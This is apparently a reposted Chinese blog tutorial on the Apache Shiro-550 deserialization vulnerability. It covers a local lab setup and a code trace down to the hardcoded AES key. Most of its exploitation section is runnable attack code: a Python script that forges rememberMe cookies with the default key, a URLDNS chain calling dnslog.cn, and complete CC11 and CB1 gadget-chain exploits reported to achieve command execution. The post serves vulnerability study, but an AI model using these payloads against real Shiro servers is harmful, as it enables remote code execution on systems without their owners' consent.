Shiro反序列化漏洞-Shiro550流程分析

2024-05-10 14:28

本文主要是介绍Shiro反序列化漏洞-Shiro550流程分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Apache Shiro是一个开源框架,这个漏洞在2016就被披露了。Shiro框架使用广泛,漏洞影响范围广。

环境搭建

这里我使用的是IDEA 2023.3.5

环境下载

这里就不配图片了,具体操作可以搜索引擎
tomcat 8.5.76 下载地址:

https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.76/bin/apache-tomcat-8.5.76-windows-x86.zip

JDK1.7下载地址:

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

下载shiro对应的war包

https://github.com/jas502n/SHIRO-550/blob/master/samples-web-1.2.4.war

shrio复现的对应源码:

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

过程

首先IDEA Open 打开shiro 源码的项目,如图路径
image.png
在pom.xml中找到如图对应的代码添加这一行,最后重新加载 Maven项目

            <groupId>javax.servlet</groupId><artifactId>jstl</artifactId><version>1.2</version>	//添加的这一行代码<scope>runtime</scope>

image.png
然后 Ctrl +Shift +S 配置当前项目的JDK 版本为1.7
image.png
如图打开设置
image.png
我这里已经配好了,就是把Tomcat的安装路径放到里面就可以了
image.png
然后来到这里
image.png
image.png
放入下载好的war包
image.png
image.png
然后配置这些就可以了
image.png
运行之后可以看见和下面图片一样的,说明Shiro550复现环境搭建成功了
image.png

原理分析

Cookie的源头

当登录框勾选 Remember Me(记住密码)的时候
image.png
当登陆成功的时候,服务器的Cookie的 remeberMe字段下的值会返回一段字符串。而这个字符串很像加密过的,很长的话一般说明了保存了写信息什么的,而且也比较特殊,比如序列化什么的
image.png
这个时候我们可以来到源码中搜索一下Cookie,Ctrl +N键搜索名字有关的类。IDEA会列出这些
image.png
在这里我们看见了和Cookie有关的类名,而且这个包还是 shiro 1.2.4,点进去看一下
image.png
这个方法的意思是:获取反序列化标识符
追踪这个方法,来到了这里
image.png
这个 convertBytesToPrincipals 方法名的意思是大概是字节转换,可能涉及序列化,追踪这个方法看一下。
image.png
可以看见它涉及到了解密以及解密序列化的方法

反序列化的入口点

点进去先看一下这个方法
image.png
image.png
可以发现它是一个接口
image.png
最后发现是这个接口方法调用了 readObject方法
image.png
通过这个方法的分析我们可以发现,我们可以传入一个序列化的数据,然后服务器通过解密然后反序列化后最后执行我们的代码。

解密方法的逆分析

我们已经知道了反序列化可能存在漏洞的大概流程,现在分析一下 decrypt 这个方法的解密流程。
image.png
encrypted大概是要解密的序列化字节,而右边的 getDecryptionCipherKey方法应该是获取密钥的意思,点击这个方法
image.png
然后继续追踪方法的调用,点击 setDecryptionCipherKey方法
image.png
来到这里发现 setDecryptionCipherKey 方法是来自 setCipherKey 方法调用的,追踪该方法
image.png
image.png
这个方法的意思大概是设置密钥,也就是说开发者设置好了固定的密钥的值,我们点进去看一下
image.png
发现这个值是一个常量
image.png
通过注解的意思发现这个密钥首先通过了 AES加密,然后又进行了base64的加密。

漏洞利用

我们根据 Cookie的加密原理,可以利用下面这个Cookie加密脚本

  • 依赖安装
pip install pycryptodome
pip install pycryptodomex

Cookie加密脚本:

from email.mime import base
from pydoc import plain
import sys
import base64
import uuid
from random import Random
from Cryptodome.Cipher import AESdef get_file_data(filename):with open(filename, 'rb') as f:data = f.read()return datadef aes_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))return ciphertextdef aes_dec(enc_data):enc_data = base64.b64decode(enc_data)unpad = lambda s: s[:-s[-1]]key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = enc_data[:16]encryptor = AES.new(base64.b64decode(key), mode, iv)plaintext = encryptor.decrypt(enc_data[16:])plaintext = unpad(plaintext)return plaintextif __name__ == "__main__":data = get_file_data("ser.bin")print(aes_enc(data))# 同目录下放已经反序列化的文件ser.bin,通过AES和BASE64加密生成rememberMe的cookie

我们可以安装一个插件 Maven Helper
image.png
来到 pom.xml 这个插件主要的作用是依赖分析,我们打cc链的时候只能打 runtime 和 compile,不能打 test
image.png
实际上 还有一个cb链可以打
image.png

URLDNS链

因为 URLDNS 链是JDK自带的,不需要依赖,但是只能进行SSRF,不能RCE。

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNS {public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static void main(String[] args) throws Exception{HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();URL url = new URL("http://dnslog.cn");setFieldValue(url,"hashCode",1);hashmap.put(url,1);setFieldValue(url,"hashCode",-1);serialize(hashmap);}public static void setFieldValue(Object obj, String fieldName, Object value)throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}}

序列化好 urldns链之后,就有了一个ser.bin文件,这个时候运行 shrio550的加密cookie脚本。
image.png
登陆进去之后,可以看见 我们要替换的是 rememberMe后面的一丢字符串
image.png
这里要删掉 JSESSIONID,因为它属于Cookie验证的一种,如果它在的话,代码逻辑就不会走到 rememberMe里了。
image.png
替换 rememberMe的值为我们生成的cookie,可以发现URLdns链执行成功
image.png

CC11

这条链子,具体可以参考我写过的CC11分析:

https://blog.csdn.net/weixin_53912233/article/details/138536622

Shrio 本身没有Commons Collections3.2.1,而且还是 test的
image.png
这里我们添加 Commons Collections3 的依赖

        <dependency><groupId>org.ow2.util.bundles</groupId><artifactId>commons-collections-3.2.1</artifactId><version>1.0.0</version></dependency>

image.png
然后重新进入IDEA,可以发现这个依赖理论上是可以打的了
image.png
这里可以利用CC11链子的特性,无数组

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class C11 {public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> tc = templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = tc.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//初始化加载类
//        templates.newTransformer();InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);//        tiedMapEntry.getValue(); hashCode代替lazymap.put(tiedMapEntry,null);lazymap.remove(templates);Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,invokerTransformer);serialize(hashMap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

可以看见命令执行成功了,这里的Tomcat服务器使用jdk8u65才能用CC11打,低版本不行
image.png

CB1链

Shrio 本身自带CB的依赖,我们可以用CB1链子去打一下试试
image.png
CB1的链子分析可以参考我写过的这篇:

https://blog.csdn.net/weixin_53912233/article/details/138661173

CB1EXP代码:

package CB;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class Bean {public static void main(String[] args) throws Exception {//CC3尾部链TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);BeanComparator beanComparator = new BeanComparator("outputProperties");//CC2 部分的 优先队列priorityQueue.add(templates);priorityQueue.add(1);Class<? extends PriorityQueue> pc = priorityQueue.getClass();Field comparator = pc.getDeclaredField("comparator");comparator.setAccessible(true);comparator.set(priorityQueue,beanComparator);serialize(priorityQueue);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

替换 rememberMe的值,可以看见命令执行成功
image.png

总结

Shiro <=1.24 版本,密钥是默认的,这个时候我们可以利用 AES加密+base64加密 序列化的payload。利用服务器自带依赖去打,才能成功。
Cookie 中为 rememberMe值,需要注意下,是否存在漏洞。

这篇关于Shiro反序列化漏洞-Shiro550流程分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/976702

相关文章

C#提取PDF表单数据的实现流程

《C#提取PDF表单数据的实现流程》PDF表单是一种常见的数据收集工具,广泛应用于调查问卷、业务合同等场景,凭借出色的跨平台兼容性和标准化特点,PDF表单在各行各业中得到了广泛应用,本文将探讨如何使用... 目录引言使用工具C# 提取多个PDF表单域的数据C# 提取特定PDF表单域的数据引言PDF表单是一

PyCharm接入DeepSeek实现AI编程的操作流程

《PyCharm接入DeepSeek实现AI编程的操作流程》DeepSeek是一家专注于人工智能技术研发的公司,致力于开发高性能、低成本的AI模型,接下来,我们把DeepSeek接入到PyCharm中... 目录引言效果演示创建API key在PyCharm中下载Continue插件配置Continue引言

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

使用MongoDB进行数据存储的操作流程

《使用MongoDB进行数据存储的操作流程》在现代应用开发中,数据存储是一个至关重要的部分,随着数据量的增大和复杂性的增加,传统的关系型数据库有时难以应对高并发和大数据量的处理需求,MongoDB作为... 目录什么是MongoDB?MongoDB的优势使用MongoDB进行数据存储1. 安装MongoDB

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Python实现NLP的完整流程介绍

《Python实现NLP的完整流程介绍》这篇文章主要为大家详细介绍了Python实现NLP的完整流程,文中的示例代码讲解详细,具有一定的借鉴价值,感兴趣的小伙伴可以跟随小编一起学习一下... 目录1. 编程安装和导入必要的库2. 文本数据准备3. 文本预处理3.1 小写化3.2 分词(Tokenizatio

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实

锐捷和腾达哪个好? 两个品牌路由器对比分析

《锐捷和腾达哪个好?两个品牌路由器对比分析》在选择路由器时,Tenda和锐捷都是备受关注的品牌,各自有独特的产品特点和市场定位,选择哪个品牌的路由器更合适,实际上取决于你的具体需求和使用场景,我们从... 在选购路由器时,锐捷和腾达都是市场上备受关注的品牌,但它们的定位和特点却有所不同。锐捷更偏向企业级和专